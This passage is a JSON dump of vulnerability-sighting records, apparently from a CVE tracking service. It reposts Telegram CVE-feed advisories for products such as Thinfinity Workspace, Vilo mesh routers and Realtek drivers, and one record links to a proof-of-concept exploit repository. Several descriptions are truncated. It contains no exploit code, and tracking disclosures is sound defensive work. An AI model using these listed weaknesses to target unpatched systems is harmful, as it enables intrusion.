13, 2024, 11:15 p.m. | 24\u00a0minutes ago \nDescription : Incorrect access control in Cybele Software Thinfinity Workspace before v7.0.3.109 allows attackers to gain access to a secondary broker via a crafted request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T00:46:11.000000Z"}, {"uuid": "c2dc93ef-917c-432f-90df-02ca4493d561", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40661", "type": "seen", "source": "https://t.me/cvedetector/10868", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40661 - Apache MayAdmin Grant Permission Microphone Local Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-40661 \nPublished : Nov. 13, 2024, 6:15 p.m. | 28\u00a0minutes ago \nDescription : In mayAdminGrantPermission of AdminRestrictedPermissionsUtils.java, there is a possible way to access the microphone due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T19:44:57.000000Z"}, {"uuid": "73b01601-1675-467c-b29b-f65c1d3f101c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40660", "type": "seen", "source": "https://t.me/cvedetector/10867", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40660 - Android SurfaceFlinger Local Escalation of Privilege\", \n  \"Content\": \"CVE ID : CVE-2024-40660 \nPublished : Nov. 13, 2024, 6:15 p.m. | 28\u00a0minutes ago \nDescription : In setTransactionState of SurfaceFlinger.cpp, there is a possible way to change protected display attributes due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T19:44:56.000000Z"}, {"uuid": "94b89549-a2dc-4e62-8f77-8346723a8dd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40885", "type": "seen", "source": "https://t.me/cvedetector/10887", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40885 - \"Intel Server M20NTP UEFI Firmware Use After Free Privilege Escalation\"\", \n  \"Content\": \"CVE ID : CVE-2024-40885 \nPublished : Nov. 13, 2024, 9:15 p.m. | 41\u00a0minutes ago \nDescription : Use after free in the UEFI firmware of some Intel(R) Server M20NTP BIOS may allow a privileged user to potentially enable escalation of privilege via local access. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T23:05:47.000000Z"}, {"uuid": "6f63ba4e-fc91-49f9-aa2e-75826248fa3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40408", "type": "seen", "source": "https://t.me/cvedetector/10899", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40408 - Cybele Software Thinfinity Workspace Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-40408 \nPublished : Nov. 13, 2024, 11:15 p.m. | 24\u00a0minutes ago \nDescription : Cybele Software Thinfinity Workspace before v7.0.2.113 was discovered to contain an access control issue in the Create Profile section. This vulnerability allows attackers to create arbitrary user profiles with elevated privileges. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T00:46:09.000000Z"}, {"uuid": "9ad32c09-c7d9-4608-81bf-7041ad2530dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40404", "type": "seen", "source": "https://t.me/cvedetector/10900", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40404 - Cybele Software Thinfinity Workspace Web Socket Access Control Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40404 \nPublished : Nov. 13, 2024, 11:15 p.m. | 24\u00a0minutes ago \nDescription : Cybele Software Thinfinity Workspace before v7.0.2.113 was discovered to contain an access control issue in the API endpoint where Web Sockets connections are established. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T00:46:10.000000Z"}, {"uuid": "ed8c27f6-5940-4ad1-8d39-c41f2f14cace", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40410", "type": "seen", "source": "https://t.me/cvedetector/10898", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40410 - Cybele Software Thinfinity Workspace Hardcoded Cryptographic Key Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40410 \nPublished : Nov. 13, 2024, 11:15 p.m. | 24\u00a0minutes ago \nDescription : Cybele Software Thinfinity Workspace before v7.0.2.113 was discovered to contain a hardcoded cryptographic key used for encryption. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T00:46:09.000000Z"}, {"uuid": "30d18421-360a-4f1e-9b5d-ee44c486272d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40443", "type": "seen", "source": "https://t.me/cvedetector/10873", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40443 - Simple Laboratory Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-40443 \nPublished : Nov. 13, 2024, 8:15 p.m. | 39\u00a0minutes ago \nDescription : SQL Injection vulnerability in Simple Laboratory Management System using PHP and MySQL v.1.0 allows a remote attacker to cause a denial of service via the delete_users function in the Useres.php \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T22:15:23.000000Z"}, {"uuid": "ca23ccfe-eb1e-43f7-9e51-f7c833420f67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40671", "type": "seen", "source": "https://t.me/cvedetector/10869", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40671 - QNAP RasPlex Local Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-40671 \nPublished : Nov. 13, 2024, 6:15 p.m. | 28\u00a0minutes ago \nDescription : In DevmemIntChangeSparse2 of devicemem_server.c, there is a possible way to achieve arbitrary code execution due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T19:44:58.000000Z"}, {"uuid": "df1e63ad-bc65-406c-9918-8704389d2e10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40490", "type": "seen", "source": "https://t.me/cvedetector/9609", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40490 - Sourcebans++ Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-40490 \nPublished : Nov. 1, 2024, 4:15 p.m. | 29\u00a0minutes ago \nDescription : An issue in Sourcebans++ before v.1.8.0 allows a remote attacker to obtain sensitive information via a crafted XAJAX call to the Forgot Password function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-01T17:51:42.000000Z"}, {"uuid": "fc6632b7-95c6-40ba-938d-c5b2dbeab3d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40239", "type": "seen", "source": "https://t.me/cvedetector/10210", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40239 - Life: Personal Diary, Journal Android Authentication Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40239 \nPublished : Nov. 8, 2024, 6:15 p.m. | 19\u00a0minutes ago \nDescription : An incorrect access control issue in Life: Personal Diary, Journal android app 17.5.0 allows a physically proximate attacker to escalate privileges via the fingerprint authentication function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T19:43:08.000000Z"}, {"uuid": "c29847a9-2aa1-4422-836c-e89a38bd66ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40240", "type": "seen", "source": "https://t.me/cvedetector/10209", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40240 - HomeServe Home Repair Android Privilege Escalation (Physical Attack)\", \n  \"Content\": \"CVE ID : CVE-2024-40240 \nPublished : Nov. 8, 2024, 6:15 p.m. | 19\u00a0minutes ago \nDescription : An incorrect access control issue in HomeServe Home Repair' android app - 3.3.4 allows a physically proximate attacker to escalate privileges via the fingerprint authentication function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T19:43:07.000000Z"}, {"uuid": "de2d8633-ab8d-4480-92de-8cfef0707856", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "https://t.me/TheMalware_Team/3786", "content": "#exploit\n1. CVE-2024-34065:\nStrapi Open Redirect\nhttps://blog.quarkslab.com/looking-for-vulnerabilities-in-strapi-cve-2024-34065.html\n\n2. CVE-2024-40725,\nCVE-2024-40898:\nApache HTTP Server SSRF\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898", "creation_timestamp": "2024-07-24T22:29:42.000000Z"}, {"uuid": "65927c92-5f78-479a-830e-8327d8e2a1b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40715", "type": "seen", "source": "https://t.me/cvedetector/10098", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40715 - Veeam Backup & Replication Enterprise Manager Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40715 \nPublished : Nov. 7, 2024, 5:15 p.m. | 15\u00a0minutes ago \nDescription : A vulnerability in Veeam Backup & Replication Enterprise Manager has been identified, which allows attackers to perform authentication bypass. Attackers must be able to perform Man-in-the-Middle (MITM) attack to exploit this vulnerability. \nSeverity: 7.7 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T18:36:28.000000Z"}, {"uuid": "371ed802-40d2-4e1a-8d6e-aaa2bc162a4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40086", "type": "seen", "source": "https://t.me/cvedetector/8586", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40086 - Vilo 5 Mesh WiFi System Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-40086 \nPublished : Oct. 21, 2024, 9:15 p.m. | 39\u00a0minutes ago \nDescription : A Buffer Overflow vulnerability in the local_app_set_router_wifi_SSID_PWD function of Vilo 5 Mesh WiFi System <=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-22T00:24:33.000000Z"}, {"uuid": "59823b57-6384-4d52-b285-25fa427287ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40087", "type": "seen", "source": "https://t.me/cvedetector/8574", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40087 - Vilo 5 Mesh WiFi System Unauthenticated Remote Administrative Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40087 \nPublished : Oct. 21, 2024, 9:15 p.m. | 39\u00a0minutes ago \nDescription : Vilo 5 Mesh WiFi System <=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-22T00:24:18.000000Z"}, {"uuid": "30037f23-816a-42be-a7e6-8b3abf8c77ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40810", "type": "seen", "source": "https://t.me/cvedetector/8818", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40810 - Apple macOS Sonoma Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40810 \nPublished : Oct. 24, 2024, 5:15 p.m. | 36\u00a0minutes ago \nDescription : An out-of-bounds write issue was addressed with improved input validation. This issue is fixed in macOS Sonoma 14.6. An app may be able to cause a coprocessor crash. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-24T20:10:01.000000Z"}, {"uuid": "2040c182-af32-4fe9-bbb3-769e6afba0e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40431", "type": "seen", "source": "https://t.me/cvedetector/8770", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40431 - Realtek SD Card Reader Driver Kernel Memory Corruption (Write Arbitrary)\", \n  \"Content\": \"CVE ID : CVE-2024-40431 \nPublished : Oct. 23, 2024, 10:15 p.m. | 31\u00a0minutes ago \nDescription : A lack of input validation in Realtek SD card reader driver before 10.0.26100.21374 through the implementation of the IOCTL_SCSI_PASS_THROUGH control of the SD card reader driver allows an attacker to write to predictable kernel memory locations, even as a low-privileged user. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-24T00:55:55.000000Z"}, {"uuid": "3fc1a6cb-796f-4d1f-8f51-a762fd1b9ddb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40595", "type": "seen", "source": "https://t.me/cvedetector/8775", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40595 - One Identity Safeguard for Privileged Sessions RDP Auth Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-40595 \nPublished : Oct. 24, 2024, 6:15 a.m. | 45\u00a0minutes ago \nDescription : An authentication-bypass issue in the RDP component of One Identity Safeguard for Privileged Sessions (SPS) On Premise before 7.5.1 (and LTS before 7.0.5.1) allows man-in-the-middle attackers to obtain access to privileged sessions on target resources by intercepting cleartext RDP protocol information. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-24T09:17:31.000000Z"}, {"uuid": "74ac7ebc-e67a-4fe5-b0cf-5bd756cfe019", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40432", "type": "seen", "source": "https://t.me/cvedetector/8771", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40432 - Realtek SD card reader Driver Buffer Overwrite\", \n  \"Content\": \"CVE ID : CVE-2024-40432 \nPublished : Oct. 23, 2024, 10:15 p.m. | 31\u00a0minutes ago \nDescription : A lack of input validation in Realtek SD card reader driver before 10.0.26100.21374 through the implementation of the IOCTL_SFFDISK_DEVICE_COMMAND control of the SD card reader driver allows a privileged attacker to crash the OS. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-24T00:55:56.000000Z"}, {"uuid": "e7cdc6fb-e0db-4b86-80b7-f50b9395100c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40088", "type": "seen", "source": "https://t.me/cvedetector/8573", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40088 - Vilo Boa Webserver Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40088 \nPublished : Oct. 21, 2024, 9:15 p.m. | 39\u00a0minutes ago \nDescription : A Directory Traversal vulnerability in the Boa webserver of Vilo 5 Mesh WiFi System <=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-22T00:24:17.000000Z"}, {"uuid": "7d0d20c3-8584-4368-bf4c-0231227fcb66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40746", "type": "seen", "source": "https://t.me/cvedetector/8502", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40746 - HikaShop Joomla Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40746 \nPublished : Oct. 21, 2024, 5:15 p.m. | 45\u00a0minutes ago \nDescription : A stored cross-site scripting (XSS) vulnerability in HikaShop Joomla Component < 5.1.1 allows remote attackers to execute arbitrary JavaScript in the web browser of a user, by including a malicious payload in the `description` parameter of any product. The `description `parameter is not sanitised in the backend. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T20:11:42.000000Z"}, {"uuid": "788074a8-d22a-4cfc-8bbb-a30e3493d605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40494", "type": "seen", "source": "https://t.me/cvedetector/8664", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40494 - FreeCoAP Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40494 \nPublished : Oct. 22, 2024, 10:15 p.m. | 22\u00a0minutes ago \nDescription : Buffer Overflow in coap_msg.c in FreeCoAP allows remote attackers to execute arbitrary code or cause a denial of service (stack buffer overflow) via a crafted packet. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-23T00:40:00.000000Z"}, {"uuid": "fe1f5023-acc7-4968-b7f6-72a69dde45a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40493", "type": "seen", "source": "https://t.me/cvedetector/8663", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40493 - CoAP FreeCoAP Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40493 \nPublished : Oct. 22, 2024, 10:15 p.m. | 22\u00a0minutes ago \nDescription : Null Pointer Dereference in `coap_client_exchange_blockwise2` function in Keith Cullen FreeCoAP 1.0 allows remote attackers to cause a denial of service and potentially execute arbitrary code via a specially crafted CoAP packet that causes `coap_msg_get_payload(resp)` to return a null pointer, which is then dereferenced in a call to `memcpy`. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-23T00:39:59.000000Z"}, {"uuid": "1bd4288e-aa7f-4138-aedf-c08da71135ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40083", "type": "seen", "source": "https://t.me/cvedetector/8587", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40083 - A Buffer Overflow vulnerabilty in the local_app_se\", \n  \"Content\": \"CVE ID : CVE-2024-40083 \nPublished : Oct. 21, 2024, 9:15 p.m. | 39\u00a0minutes ago \nDescription : A Buffer Overflow vulnerabilty in the local_app_set_router_token function of Vilo 5 Mesh WiFi System <=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-22T00:24:34.000000Z"}, {"uuid": "46898b14-6232-418f-a15d-301419cdd7fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40085", "type": "seen", "source": "https://t.me/cvedetector/8582", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40085 - Vilo 5 Mesh WiFi System Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-40085 \nPublished : Oct. 21, 2024, 9:15 p.m. | 39\u00a0minutes ago \nDescription : A Buffer Overflow vulnerability in the local_app_set_router_wan function of Vilo 5 Mesh WiFi System <=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-22T00:24:27.000000Z"}, {"uuid": "c5d4e83c-9459-4263-91cf-61e1d4daedd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40084", "type": "seen", "source": "https://t.me/cvedetector/8581", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40084 - Vilo Boa Webserver Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40084 \nPublished : Oct. 21, 2024, 9:15 p.m. | 39\u00a0minutes ago \nDescription : A Buffer Overflow in the Boa webserver of Vilo 5 Mesh WiFi System <=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-22T00:24:26.000000Z"}, {"uuid": "b694f6c3-0dd1-4d28-9803-ecc61e8cd109", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40091", "type": "seen", "source": "https://t.me/cvedetector/8570", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40091 - Vilo 5 Mesh WiFi System Web Server Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40091 \nPublished : Oct. 21, 2024, 9:15 p.m. | 39\u00a0minutes ago \nDescription : Vilo 5 Mesh WiFi System <=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-22T00:24:12.000000Z"}, {"uuid": "9b06605e-a2b0-428f-931c-734f3c5d8162", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40089", "type": "seen", "source": "https://t.me/cvedetector/8569", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40089 - Vilo 5 Mesh WiFi System Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40089 \nPublished : Oct. 21, 2024, 9:15 p.m. | 39\u00a0minutes ago \nDescription : A Command Injection vulnerability in Vilo 5 Mesh WiFi System <=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-22T00:24:11.000000Z"}, {"uuid": "194257ab-dbfb-43ba-b7f3-b2aa30092879", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40090", "type": "seen", "source": "https://t.me/cvedetector/8568", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40090 - Vilo 5 Mesh WiFi System Boa HTTP Server Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-40090 \nPublished : Oct. 21, 2024, 9:15 p.m. | 39\u00a0minutes ago \nDescription : Vilo 5 Mesh WiFi System <=\nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-22T00:24:11.000000Z"}, 